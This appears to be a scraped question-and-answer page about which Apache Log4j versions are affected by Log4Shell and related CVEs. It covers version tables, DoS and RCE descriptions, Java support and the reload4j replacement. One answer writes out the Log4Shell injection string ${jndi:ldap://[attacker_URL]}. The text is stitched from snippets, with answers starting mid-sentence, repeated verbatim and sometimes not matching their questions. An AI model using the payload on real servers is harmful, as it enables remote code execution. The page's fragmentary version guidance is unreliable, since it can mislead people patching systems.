Is Log4j Core 2.17 0 jar vulnerable?

Is Log4j 2.17 vulnerable

3 or 2.17. 0: from these versions onwards, only the JAVA protocol is supported in JNDI connections. Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.

Which Log4j jars are vulnerable

What happened to log4j recently

Name Vulnerability type Affected log4j versions
CVE-2021-45046 Denial of Service (DoS) and RCE 2.0 through 2.15.0
CVE-2021-4104 RCE 1.2*
CVE-2021-45105 Denial of Service (DoS) 2.0-beta9 to 2.16.0
CVE-2021-44832 RCE 2.0 to 2.17.0

Is Log4j 2.17 1 safe

1 can probably wait. A number of security professionals say that the latest vulnerability in Apache Log4j, disclosed on Tuesday, does not pose an increased security risk for the majority of organizations. As a result, for many organizations that have already patched to version 2.17.

Is Log4j Core 2.16 0 jar vulnerable

Vulnerability Details

CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/216189 for the current score. DESCRIPTION: Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups.

What is Log4j 2.17 2

Apache Log4j Core » 2.17. 2. Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.

Is Log4j 2.17 compatible with Java 7

Apache Log4j 2.17. 0 requires a minimum of Java 8 to build and run. Log4j 2.12. 2 is the last release to support Java 7.

Is Log4j Core 2.11 1 jar vulnerable

log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

Is Log4j 1.2 17 jar affected

Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions up to 1.2 up to 1.2. 17.

Is Log4j 2.16 safe

Log4j 2.16 and earlier does not always protect from infinite recursion in lookup evaluation, which can lead to DoS attacks. This is considered a High (7.5) vulnerability on the CVSS scale.

Is Log4j Core 2.14 1 vulnerable

log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.

Is Log4j 2.17 released

2.17. 0, released Friday, marks the third patch for Log4j since the now-infamous Log4Shell vulnerability became publicly known a week and a half ago. Log4j 2.15. 0 helped mitigate the initial remote code execution (RCE) vulnerability, tracked as CVE-2021-44228, while 2.16.

What is Log4j core 2.11 1 jar

Apache Log4j Core » 2.11. 1. Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.

Is log4j Core 2.7 jar vulnerable

log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.

What replaces log4j 1.2 17 jar

By drop-in, we mean that you can replace log4j. jar with reload4j. jar in your build with no source code changes, no recompilation, nor rebuild being necessary. The reload4j project offers a clear and easy migration path for the thousands of users who have an urgent need to fix vulnerabilities in log4j 1.2.

What is Log4j core version 2.14 1

Apache Log4j Core » 2.14. 1

License Apache 2.0
Date Mar 12, 2021
Files jar (1.7 MB) View All
Repositories Central
Ranking #52 in MvnRepository (See Top Artifacts) #6 in Logging Frameworks

What is Log4j core vulnerability

1. Introduction. Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application. The vulnerability allows unauthenticated remote code execution. Attackers can take advantage of it by modifying their browser's user-agent string to ${jndi:ldap://[attacker_URL]} format.

Is log4j 2.11 1 jar vulnerable

Affected versions of this package are vulnerable to Arbitrary Code Execution. Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

Is log4j Core 2.14 1 vulnerable

log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.

Is Log4j Core 2.3 jar vulnerable

log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.

What is Log4j Core 2.7 jar

Apache Log4j Core » 2.7

Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.

Is log4j 1.2 17 jar affected

Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data. This affects Log4j versions up to 1.2 up to 1.2. 17.

What versions of log4j are supported

Apache Log4j

Release Released Supported
2 9 years ago (12 Jul 2014) Yes
2.12 4 years ago (26 Jun 2019) Ended 1 year and 7 months ago (14 Dec 2021)
2.3 8 years ago (10 May 2015) Ended 7 years and 10 months ago (20 Sep 2015)
1 22 years ago (08 Jan 2001) Ended 7 years ago (15 Oct 2015)

14 thg 6, 2023

What is Log4j Core 2.3 jar

Apache Log4j Core » 2.3

Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.

What is log4j core 2.11 1 jar

Apache Log4j Core » 2.11. 1. Implementation for Apache Log4J, a highly configurable logging tool that focuses on performance and low garbage generation. It has a plugin architecture that makes it extensible and supports asynchronous logging based on LMAX Disruptor.

What is Log4j core

log4j:log4j-core is a logging library for Java. Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.